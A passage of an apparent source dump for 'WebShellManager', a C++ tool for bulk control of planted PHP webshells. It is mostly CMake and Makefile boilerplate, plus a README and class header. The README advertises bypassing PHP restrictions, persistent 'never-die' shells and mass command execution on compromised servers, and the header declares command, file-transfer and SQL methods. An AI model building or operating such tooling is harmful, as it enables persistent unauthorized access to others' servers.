__GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 243 | "1" 244 | #else 245 | "0" 246 | #endif 247 | "cxx_nonstatic_member_init\n" 248 | "CXX_FEATURE:" 249 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 250 | "1" 251 | #else 252 | "0" 253 | #endif 254 | "cxx_nullptr\n" 255 | "CXX_FEATURE:" 256 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 257 | "1" 258 | #else 259 | "0" 260 | #endif 261 | "cxx_override\n" 262 | "CXX_FEATURE:" 263 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 264 | "1" 265 | #else 266 | "0" 267 | #endif 268 | "cxx_range_for\n" 269 | "CXX_FEATURE:" 270 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 271 | "1" 272 | #else 273 | "0" 274 | #endif 275 | "cxx_raw_string_literals\n" 276 | "CXX_FEATURE:" 277 | #if ((__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) >= 40801) && __cplusplus >= 201103L 278 | "1" 279 | #else 280 | "0" 281 | #endif 282 | "cxx_reference_qualified_functions\n" 283 | "CXX_FEATURE:" 284 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 500 && __cplusplus >= 201402L 285 | "1" 286 | #else 287 | "0" 288 | #endif 289 | "cxx_relaxed_constexpr\n" 290 | "CXX_FEATURE:" 291 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 292 | "1" 293 | #else 294 | "0" 295 | #endif 296 | "cxx_return_type_deduction\n" 297 | "CXX_FEATURE:" 298 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 299 | "1" 300 | #else 301 | "0" 302 | #endif 303 | "cxx_right_angle_brackets\n" 304 | "CXX_FEATURE:" 305 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 306 | "1" 307 | #else 308 | "0" 309 | #endif 310 | "cxx_rvalue_references\n" 311 | "CXX_FEATURE:" 312 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 313 | "1" 314 | #else 315 | "0" 316 | #endif 317 | "cxx_sizeof_member\n" 318 | "CXX_FEATURE:" 319 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 320 | "1" 321 | #else 322 | "0" 323 | #endif 324 | "cxx_static_assert\n" 325 | "CXX_FEATURE:" 326 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 327 | "1" 328 | #else 329 | "0" 330 | #endif 331 | "cxx_strong_enums\n" 332 | "CXX_FEATURE:" 333 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && __cplusplus 334 | "1" 335 | #else 336 | "0" 337 | #endif 338 | "cxx_template_template_parameters\n" 339 | "CXX_FEATURE:" 340 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 341 | "1" 342 | #else 343 | "0" 344 | #endif 345 | "cxx_thread_local\n" 346 | "CXX_FEATURE:" 347 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 348 | "1" 349 | #else 350 | "0" 351 | #endif 352 | "cxx_trailing_return_types\n" 353 | "CXX_FEATURE:" 354 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 355 | "1" 356 | #else 357 | "0" 358 | #endif 359 | "cxx_unicode_literals\n" 360 | "CXX_FEATURE:" 361 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 362 | "1" 363 | #else 364 | "0" 365 | #endif 366 | "cxx_uniform_initialization\n" 367 | "CXX_FEATURE:" 368 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 369 | "1" 370 | #else 371 | "0" 372 | #endif 373 | "cxx_unrestricted_unions\n" 374 | "CXX_FEATURE:" 375 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 376 | "1" 377 | #else 378 | "0" 379 | #endif 380 | "cxx_user_literals\n" 381 | "CXX_FEATURE:" 382 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 500 && __cplusplus >= 201402L 383 | "1" 384 | #else 385 | "0" 386 | #endif 387 | "cxx_variable_templates\n" 388 | "CXX_FEATURE:" 389 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 390 | "1" 391 | #else 392 | "0" 393 | #endif 394 | "cxx_variadic_macros\n" 395 | "CXX_FEATURE:" 396 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 397 | "1" 398 | #else 399 | "0" 400 | #endif 401 | "cxx_variadic_templates\n" 402 | 403 | }; 404 | 405 | int main(int argc, char** argv) { (void)argv; return features[argc]; } 406 | -------------------------------------------------------------------------------- /CMakeFiles/progress.marks: -------------------------------------------------------------------------------- 1 | 5 2 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.0) 2 | project(WebShellManager) 3 | 4 | set(CMAKE_CXX_STANDARD 11) 5 | 6 | add_executable(WebShellManager 7 | cryptohelper.cpp 8 | cryptohelper.h 9 | curlhelper.cpp 10 | curlhelper.h 11 | json.hpp 12 | main.cpp 13 | WebShell.cpp 14 | WebShell.h 15 | ) 16 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -lcurl -pthread") 17 | 18 | target_link_libraries(WebShellManager curl) 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.5 3 | 4 | # Default target executed when no arguments are given to make. 5 | default_target: all 6 | 7 | .PHONY : default_target 8 | 9 | # Allow only one "make -f Makefile2" at a time, but pass parallelism. 10 | .NOTPARALLEL: 11 | 12 | 13 | #============================================================================= 14 | # Special targets provided by cmake. 15 | 16 | # Disable implicit rules so canonical targets will work. 17 | .SUFFIXES: 18 | 19 | 20 | # Remove some rules from gmake that .SUFFIXES does not remove. 21 | SUFFIXES = 22 | 23 | .SUFFIXES: .hpux_make_needs_suffix_list 24 | 25 | 26 | # Suppress display of executed commands. 27 | $(VERBOSE).SILENT: 28 | 29 | 30 | # A target that is always out of date. 31 | cmake_force: 32 | 33 | .PHONY : cmake_force 34 | 35 | #============================================================================= 36 | # Set environment variables for the build. 37 | 38 | # The shell in which to execute make rules. 39 | SHELL = /bin/sh 40 | 41 | # The CMake executable. 42 | CMAKE_COMMAND = /usr/bin/cmake 43 | 44 | # The command to remove a file. 45 | RM = /usr/bin/cmake -E remove -f 46 | 47 | # Escaping for special characters. 48 | EQUALS = = 49 | 50 | # The top-level source directory on which CMake was run. 51 | CMAKE_SOURCE_DIR = /home/image/projects/WebShellManager 52 | 53 | # The top-level build directory on which CMake was run. 54 | CMAKE_BINARY_DIR = /home/image/projects/WebShellManager 55 | 56 | #============================================================================= 57 | # Targets provided globally by CMake. 58 | 59 | # Special rule for the target edit_cache 60 | edit_cache: 61 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "No interactive CMake dialog available..." 62 | /usr/bin/cmake -E echo No\ interactive\ CMake\ dialog\ available. 63 | .PHONY : edit_cache 64 | 65 | # Special rule for the target edit_cache 66 | edit_cache/fast: edit_cache 67 | 68 | .PHONY : edit_cache/fast 69 | 70 | # Special rule for the target rebuild_cache 71 | rebuild_cache: 72 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "Running CMake to regenerate build system..." 73 | /usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) 74 | .PHONY : rebuild_cache 75 | 76 | # Special rule for the target rebuild_cache 77 | rebuild_cache/fast: rebuild_cache 78 | 79 | .PHONY : rebuild_cache/fast 80 | 81 | # The main all target 82 | all: cmake_check_build_system 83 | $(CMAKE_COMMAND) -E cmake_progress_start /home/image/projects/WebShellManager/CMakeFiles /home/image/projects/WebShellManager/CMakeFiles/progress.marks 84 | $(MAKE) -f CMakeFiles/Makefile2 all 85 | $(CMAKE_COMMAND) -E cmake_progress_start /home/image/projects/WebShellManager/CMakeFiles 0 86 | .PHONY : all 87 | 88 | # The main clean target 89 | clean: 90 | $(MAKE) -f CMakeFiles/Makefile2 clean 91 | .PHONY : clean 92 | 93 | # The main clean target 94 | clean/fast: clean 95 | 96 | .PHONY : clean/fast 97 | 98 | # Prepare targets for installation. 99 | preinstall: all 100 | $(MAKE) -f CMakeFiles/Makefile2 preinstall 101 | .PHONY : preinstall 102 | 103 | # Prepare targets for installation. 104 | preinstall/fast: 105 | $(MAKE) -f CMakeFiles/Makefile2 preinstall 106 | .PHONY : preinstall/fast 107 | 108 | # clear depends 109 | depend: 110 | $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1 111 | .PHONY : depend 112 | 113 | #============================================================================= 114 | # Target rules for targets named WebShellManager 115 | 116 | # Build rule for target. 117 | WebShellManager: cmake_check_build_system 118 | $(MAKE) -f CMakeFiles/Makefile2 WebShellManager 119 | .PHONY : WebShellManager 120 | 121 | # fast build rule for target. 122 | WebShellManager/fast: 123 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/build 124 | .PHONY : WebShellManager/fast 125 | 126 | WebShell.o: WebShell.cpp.o 127 | 128 | .PHONY : WebShell.o 129 | 130 | # target to build an object file 131 | WebShell.cpp.o: 132 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.o 133 | .PHONY : WebShell.cpp.o 134 | 135 | WebShell.i: WebShell.cpp.i 136 | 137 | .PHONY : WebShell.i 138 | 139 | # target to preprocess a source file 140 | WebShell.cpp.i: 141 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.i 142 | .PHONY : WebShell.cpp.i 143 | 144 | WebShell.s: WebShell.cpp.s 145 | 146 | .PHONY : WebShell.s 147 | 148 | # target to generate assembly for a file 149 | WebShell.cpp.s: 150 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.s 151 | .PHONY : WebShell.cpp.s 152 | 153 | cryptohelper.o: cryptohelper.cpp.o 154 | 155 | .PHONY : cryptohelper.o 156 | 157 | # target to build an object file 158 | cryptohelper.cpp.o: 159 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o 160 | .PHONY : cryptohelper.cpp.o 161 | 162 | cryptohelper.i: cryptohelper.cpp.i 163 | 164 | .PHONY : cryptohelper.i 165 | 166 | # target to preprocess a source file 167 | cryptohelper.cpp.i: 168 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.i 169 | .PHONY : cryptohelper.cpp.i 170 | 171 | cryptohelper.s: cryptohelper.cpp.s 172 | 173 | .PHONY : cryptohelper.s 174 | 175 | # target to generate assembly for a file 176 | cryptohelper.cpp.s: 177 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/cryptohelper.cpp.s 178 | .PHONY : cryptohelper.cpp.s 179 | 180 | curlhelper.o: curlhelper.cpp.o 181 | 182 | .PHONY : curlhelper.o 183 | 184 | # target to build an object file 185 | curlhelper.cpp.o: 186 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.o 187 | .PHONY : curlhelper.cpp.o 188 | 189 | curlhelper.i: curlhelper.cpp.i 190 | 191 | .PHONY : curlhelper.i 192 | 193 | # target to preprocess a source file 194 | curlhelper.cpp.i: 195 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.i 196 | .PHONY : curlhelper.cpp.i 197 | 198 | curlhelper.s: curlhelper.cpp.s 199 | 200 | .PHONY : curlhelper.s 201 | 202 | # target to generate assembly for a file 203 | curlhelper.cpp.s: 204 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/curlhelper.cpp.s 205 | .PHONY : curlhelper.cpp.s 206 | 207 | main.o: main.cpp.o 208 | 209 | .PHONY : main.o 210 | 211 | # target to build an object file 212 | main.cpp.o: 213 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.o 214 | .PHONY : main.cpp.o 215 | 216 | main.i: main.cpp.i 217 | 218 | .PHONY : main.i 219 | 220 | # target to preprocess a source file 221 | main.cpp.i: 222 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.i 223 | .PHONY : main.cpp.i 224 | 225 | main.s: main.cpp.s 226 | 227 | .PHONY : main.s 228 | 229 | # target to generate assembly for a file 230 | main.cpp.s: 231 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/main.cpp.s 232 | .PHONY : main.cpp.s 233 | 234 | # Help Target 235 | help: 236 | @echo "The following are some of the valid targets for this Makefile:" 237 | @echo "... all (the default if no target is provided)" 238 | @echo "... clean" 239 | @echo "... depend" 240 | @echo "... edit_cache" 241 | @echo "... rebuild_cache" 242 | @echo "... WebShellManager" 243 | @echo "... WebShell.o" 244 | @echo "... WebShell.i" 245 | @echo "... WebShell.s" 246 | @echo "... cryptohelper.o" 247 | @echo "... cryptohelper.i" 248 | @echo "... cryptohelper.s" 249 | @echo "... curlhelper.o" 250 | @echo "... curlhelper.i" 251 | @echo "... curlhelper.s" 252 | @echo "... main.o" 253 | @echo "... main.i" 254 | @echo "... main.s" 255 | .PHONY : help 256 | 257 | 258 | 259 | #============================================================================= 260 | # Special targets to cleanup operation of make. 261 | 262 | # Special rule to run CMake to check the build system integrity. 263 | # No rule that depends on this can have commands that come from listfiles 264 | # because they might be regenerated. 265 | cmake_check_build_system: 266 | $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0 267 | .PHONY : cmake_check_build_system 268 | 269 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WebShellManager 2 | WebShellManager build on cpp with libcurl 3 | ## features 4 | * 多个webshell批量管理 5 | * 支持自定义参数位置及加密方式 6 | * 支持需要有附加参数的特殊shell 7 | * 可绕过open_basedir、disable_functions等限制 8 | * 一键不死shell,维持权限 9 | * 附有脚本批量生成可用的shell 10 | * 自定义header、cookie 11 | 12 | ## build 13 | **CMake** 14 | ```bash 15 | cmake . 16 | make 17 | ``` 18 | **动态编译** 19 | ```bash 20 | g++ json.hpp cryptohelper.cpp curlhelper.cpp WebShell.cpp main.cpp -o test -lcurl -lpthread 21 | ``` 22 | **静态编译** 23 | ```bash 24 | g++ json.hpp cryptohelper.cpp curlhelper.cpp WebShell.cpp main.cpp -static -o test -static-libgcc -static-libstdc++ /usr/local/lib/libcurl.a /usr/local/lib/libz.a /usr/local/ssl/lib/libssl.a /usr/local/ssl/lib/libcrypto.a -ldl -lpthread 25 | ``` 26 | >test文件为x64平台下静态编译好的可执行文件 27 | 28 | >note:由于使用[https://github.com/nlohmann/json](https://github.com/nlohmann/json)因此需编译器支持C++11 29 | 30 | 31 | ## usage 32 | * list :列出所有的shell 33 | * delete index:删除指定index的shell 34 | * add json:添加shell,格式为json 35 | * execute index 命令:执行命令,当index为all时在所有shell中执行 36 | * push index 本地文件路径 目标文件路径:上传本地文件到制定路径 37 | * neverdie index:一键不死shell 38 | 39 | ## json format: 40 | ```json 41 | { 42 | "address":"地址", 43 | "custom":{ 44 | "addonget":null, 45 | "addonpost":null, 46 | "cookies":null, 47 | "headers":null, 48 | "encrypt":null, 49 | "place":"COOKIE", 50 | "placevalue":"xss" 51 | }, 52 | "pass":"xxx", 53 | "method":"GET" 54 | } 55 | ``` 56 | > note:写为单行,例如:add {"address":"http://baidu.com/shell.php","pass":"mdzz","method":"GET"} 57 | ### 详细解释 58 | * 格式:json 59 | * 参数: 60 | * encrypt(string): 加密方法,目前支持BASE64_ENCODE BASE64_DECODE ROT13 PADDING 格式为"加密方法1 加密参数*加密方法2 加密参数" 61 | * place(string): 参数位置,值为GET POST COOKIE HEADER 62 | * placevalue(string): 与place对应,表示参数 63 | * addonget(object): 附加的get参数键值对,其中如果键与密码重复<+>将被替换为执行的脚本。 64 | * addonpost(object): 附加的post参数键值对,与上者相同。 65 | > 所有添加过的shell会以json格式保存于shells.json文件夹下 66 | -------------------------------------------------------------------------------- /WebShell.h: -------------------------------------------------------------------------------- 1 | 2 | /************************************************************************** 3 | Copyright:Image 4 | Author: Image 5 | Date:2017-09-10 6 | Description:phpwebshell main class 7 | ***************************************************************************/ 8 | 9 | #pragma once 10 | #include"curlhelper.h" 11 | #include"cryptohelper.h" 12 | 13 | 14 | 15 | 16 | 17 | 18 | using namespace std; 19 | enum PLACE { PLACE_POST,PLACE_GET,HEADER,COOKIE }; 20 | class WebShell 21 | { 22 | private: 23 | string url; 24 | METHOD Method; 25 | string pass; 26 | bool enabled; 27 | string php_version; 28 | string kernel_version; 29 | string webroot; 30 | vector disabled_functions; 31 | vector> EncryptMethod; 32 | pair place; 33 | mapaddon_post; 34 | mapaddon_get; 35 | mapcustomCookies; 36 | mapcustomHeaders; 37 | string SQLhost; 38 | string SQLuser; 39 | string SQLpass; 40 | string SQLport; 41 | bool initialized; 42 | public: 43 | WebShell() {}; 44 | 45 | WebShell(string addr, METHOD meth, string password, PLACE paramplace=PLACE_GET, string paramvalue = "Image"); 46 | //WebShell(string json_obb); 47 | string getUrl() { return this->url; } 48 | METHOD getMethod() { return this->Method; } 49 | string get_webroot(); 50 | string get_php_version(); 51 | string get_kernel_version(); 52 | void initialize(); 53 | bool check_connection(); 54 | void ParseMethod(string meth); 55 | void get_disabled_functions(); 56 | void addClientMethod(ENCRYPT_METHOD meth, string param); 57 | void addAddonPost(string param, string value); 58 | void addAddonGet(string param, string value); 59 | void setPlace(string place, string paramvlue); 60 | void setSQLconnection(string host, string user, string pass, string port = "3306"); 61 | void addHeader(string param,string paramvalue); 62 | void addCookie(string param,string paramvalue); 63 | CURLcode ShellCommandExec(string command,string&ans); 64 | CURLcode php_exec(string command, string&ans, map*addonparams=NULL); 65 | CURLcode GetFileList(string&ans,string directory=""); 66 | CURLcode GetFile(string filename, string downname); 67 | CURLcode UploadFile(string filename, string updir); 68 | CURLcode ExecSQL(string sql, string db, string&ans); 69 | //bool isFileExists(string filename); 70 | string encode(string command); 71 | string getAddress(){return url;} 72 | ~WebShell(); 73 | /*WebShell operator=(WebShell shell) { 74 | this->url = shell.url; 75 | this->pass = shell.pass; 76 | this->place = shell.place; 77 | this->EncryptMethod = shell.EncryptMethod; 78 | this->Method = shell.Method; 79 | return *this; 80 | }*/ 81 | 82 | }; 83 | 84 | -------------------------------------------------------------------------------- /WebShellManager: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/WebShellManager -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/3.9.6/CMakeCCompiler.cmake: -------------------------------------------------------------------------------- 1 | set(CMAKE_C_COMPILER "/usr/bin/cc") 2 | set(CMAKE_C_COMPILER_ARG1 "") 3 | set(CMAKE_C_COMPILER_ID "GNU") 4 | set(CMAKE_C_COMPILER_VERSION "5.4.0") 5 | set(CMAKE_C_COMPILER_WRAPPER "") 6 | set(CMAKE_C_STANDARD_COMPUTED_DEFAULT "11") 7 | set(CMAKE_C_COMPILE_FEATURES "c_std_90;c_function_prototypes;c_std_99;c_restrict;c_variadic_macros;c_std_11;c_static_assert") 8 | set(CMAKE_C90_COMPILE_FEATURES "c_std_90;c_function_prototypes") 9 | set(CMAKE_C99_COMPILE_FEATURES "c_std_99;c_restrict;c_variadic_macros") 10 | set(CMAKE_C11_COMPILE_FEATURES "c_std_11;c_static_assert") 11 | 12 | set(CMAKE_C_PLATFORM_ID "Linux") 13 | set(CMAKE_C_SIMULATE_ID "") 14 | set(CMAKE_C_SIMULATE_VERSION "") 15 | 16 | 17 | set(CMAKE_AR "/usr/bin/ar") 18 | set(CMAKE_C_COMPILER_AR "/usr/bin/gcc-ar-5") 19 | set(CMAKE_RANLIB "/usr/bin/ranlib") 20 | set(CMAKE_C_COMPILER_RANLIB "/usr/bin/gcc-ranlib-5") 21 | set(CMAKE_LINKER "/usr/bin/ld") 22 | set(CMAKE_COMPILER_IS_GNUCC 1) 23 | set(CMAKE_C_COMPILER_LOADED 1) 24 | set(CMAKE_C_COMPILER_WORKS TRUE) 25 | set(CMAKE_C_ABI_COMPILED TRUE) 26 | set(CMAKE_COMPILER_IS_MINGW ) 27 | set(CMAKE_COMPILER_IS_CYGWIN ) 28 | if(CMAKE_COMPILER_IS_CYGWIN) 29 | set(CYGWIN 1) 30 | set(UNIX 1) 31 | endif() 32 | 33 | set(CMAKE_C_COMPILER_ENV_VAR "CC") 34 | 35 | if(CMAKE_COMPILER_IS_MINGW) 36 | set(MINGW 1) 37 | endif() 38 | set(CMAKE_C_COMPILER_ID_RUN 1) 39 | set(CMAKE_C_SOURCE_FILE_EXTENSIONS c;m) 40 | set(CMAKE_C_IGNORE_EXTENSIONS h;H;o;O;obj;OBJ;def;DEF;rc;RC) 41 | set(CMAKE_C_LINKER_PREFERENCE 10) 42 | 43 | # Save compiler ABI information. 44 | set(CMAKE_C_SIZEOF_DATA_PTR "8") 45 | set(CMAKE_C_COMPILER_ABI "ELF") 46 | set(CMAKE_C_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") 47 | 48 | if(CMAKE_C_SIZEOF_DATA_PTR) 49 | set(CMAKE_SIZEOF_VOID_P "${CMAKE_C_SIZEOF_DATA_PTR}") 50 | endif() 51 | 52 | if(CMAKE_C_COMPILER_ABI) 53 | set(CMAKE_INTERNAL_PLATFORM_ABI "${CMAKE_C_COMPILER_ABI}") 54 | endif() 55 | 56 | if(CMAKE_C_LIBRARY_ARCHITECTURE) 57 | set(CMAKE_LIBRARY_ARCHITECTURE "x86_64-linux-gnu") 58 | endif() 59 | 60 | set(CMAKE_C_CL_SHOWINCLUDES_PREFIX "") 61 | if(CMAKE_C_CL_SHOWINCLUDES_PREFIX) 62 | set(CMAKE_CL_SHOWINCLUDES_PREFIX "${CMAKE_C_CL_SHOWINCLUDES_PREFIX}") 63 | endif() 64 | 65 | 66 | 67 | 68 | 69 | set(CMAKE_C_IMPLICIT_LINK_LIBRARIES "gcc;gcc_s;c;gcc;gcc_s") 70 | set(CMAKE_C_IMPLICIT_LINK_DIRECTORIES "/usr/lib/gcc/x86_64-linux-gnu/5;/usr/lib/x86_64-linux-gnu;/usr/lib;/lib/x86_64-linux-gnu;/lib") 71 | set(CMAKE_C_IMPLICIT_LINK_FRAMEWORK_DIRECTORIES "") 72 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/3.9.6/CMakeCXXCompiler.cmake: -------------------------------------------------------------------------------- 1 | set(CMAKE_CXX_COMPILER "/usr/bin/c++") 2 | set(CMAKE_CXX_COMPILER_ARG1 "") 3 | set(CMAKE_CXX_COMPILER_ID "GNU") 4 | set(CMAKE_CXX_COMPILER_VERSION "5.4.0") 5 | set(CMAKE_CXX_COMPILER_WRAPPER "") 6 | set(CMAKE_CXX_STANDARD_COMPUTED_DEFAULT "98") 7 | set(CMAKE_CXX_COMPILE_FEATURES "cxx_std_98;cxx_template_template_parameters;cxx_std_11;cxx_alias_templates;cxx_alignas;cxx_alignof;cxx_attributes;cxx_auto_type;cxx_constexpr;cxx_decltype;cxx_decltype_incomplete_return_types;cxx_default_function_template_args;cxx_defaulted_functions;cxx_defaulted_move_initializers;cxx_delegating_constructors;cxx_deleted_functions;cxx_enum_forward_declarations;cxx_explicit_conversions;cxx_extended_friend_declarations;cxx_extern_templates;cxx_final;cxx_func_identifier;cxx_generalized_initializers;cxx_inheriting_constructors;cxx_inline_namespaces;cxx_lambdas;cxx_local_type_template_args;cxx_long_long_type;cxx_noexcept;cxx_nonstatic_member_init;cxx_nullptr;cxx_override;cxx_range_for;cxx_raw_string_literals;cxx_reference_qualified_functions;cxx_right_angle_brackets;cxx_rvalue_references;cxx_sizeof_member;cxx_static_assert;cxx_strong_enums;cxx_thread_local;cxx_trailing_return_types;cxx_unicode_literals;cxx_uniform_initialization;cxx_unrestricted_unions;cxx_user_literals;cxx_variadic_macros;cxx_variadic_templates;cxx_std_14;cxx_aggregate_default_initializers;cxx_attribute_deprecated;cxx_binary_literals;cxx_contextual_conversions;cxx_decltype_auto;cxx_digit_separators;cxx_generic_lambdas;cxx_lambda_init_captures;cxx_relaxed_constexpr;cxx_return_type_deduction;cxx_variable_templates;cxx_std_17") 8 | set(CMAKE_CXX98_COMPILE_FEATURES "cxx_std_98;cxx_template_template_parameters") 9 | set(CMAKE_CXX11_COMPILE_FEATURES "cxx_std_11;cxx_alias_templates;cxx_alignas;cxx_alignof;cxx_attributes;cxx_auto_type;cxx_constexpr;cxx_decltype;cxx_decltype_incomplete_return_types;cxx_default_function_template_args;cxx_defaulted_functions;cxx_defaulted_move_initializers;cxx_delegating_constructors;cxx_deleted_functions;cxx_enum_forward_declarations;cxx_explicit_conversions;cxx_extended_friend_declarations;cxx_extern_templates;cxx_final;cxx_func_identifier;cxx_generalized_initializers;cxx_inheriting_constructors;cxx_inline_namespaces;cxx_lambdas;cxx_local_type_template_args;cxx_long_long_type;cxx_noexcept;cxx_nonstatic_member_init;cxx_nullptr;cxx_override;cxx_range_for;cxx_raw_string_literals;cxx_reference_qualified_functions;cxx_right_angle_brackets;cxx_rvalue_references;cxx_sizeof_member;cxx_static_assert;cxx_strong_enums;cxx_thread_local;cxx_trailing_return_types;cxx_unicode_literals;cxx_uniform_initialization;cxx_unrestricted_unions;cxx_user_literals;cxx_variadic_macros;cxx_variadic_templates") 10 | set(CMAKE_CXX14_COMPILE_FEATURES "cxx_std_14;cxx_aggregate_default_initializers;cxx_attribute_deprecated;cxx_binary_literals;cxx_contextual_conversions;cxx_decltype_auto;cxx_digit_separators;cxx_generic_lambdas;cxx_lambda_init_captures;cxx_relaxed_constexpr;cxx_return_type_deduction;cxx_variable_templates") 11 | set(CMAKE_CXX17_COMPILE_FEATURES "cxx_std_17") 12 | 13 | set(CMAKE_CXX_PLATFORM_ID "Linux") 14 | set(CMAKE_CXX_SIMULATE_ID "") 15 | set(CMAKE_CXX_SIMULATE_VERSION "") 16 | 17 | 18 | set(CMAKE_AR "/usr/bin/ar") 19 | set(CMAKE_CXX_COMPILER_AR "/usr/bin/gcc-ar-5") 20 | set(CMAKE_RANLIB "/usr/bin/ranlib") 21 | set(CMAKE_CXX_COMPILER_RANLIB "/usr/bin/gcc-ranlib-5") 22 | set(CMAKE_LINKER "/usr/bin/ld") 23 | set(CMAKE_COMPILER_IS_GNUCXX 1) 24 | set(CMAKE_CXX_COMPILER_LOADED 1) 25 | set(CMAKE_CXX_COMPILER_WORKS TRUE) 26 | set(CMAKE_CXX_ABI_COMPILED TRUE) 27 | set(CMAKE_COMPILER_IS_MINGW ) 28 | set(CMAKE_COMPILER_IS_CYGWIN ) 29 | if(CMAKE_COMPILER_IS_CYGWIN) 30 | set(CYGWIN 1) 31 | set(UNIX 1) 32 | endif() 33 | 34 | set(CMAKE_CXX_COMPILER_ENV_VAR "CXX") 35 | 36 | if(CMAKE_COMPILER_IS_MINGW) 37 | set(MINGW 1) 38 | endif() 39 | set(CMAKE_CXX_COMPILER_ID_RUN 1) 40 | set(CMAKE_CXX_IGNORE_EXTENSIONS inl;h;hpp;HPP;H;o;O;obj;OBJ;def;DEF;rc;RC) 41 | 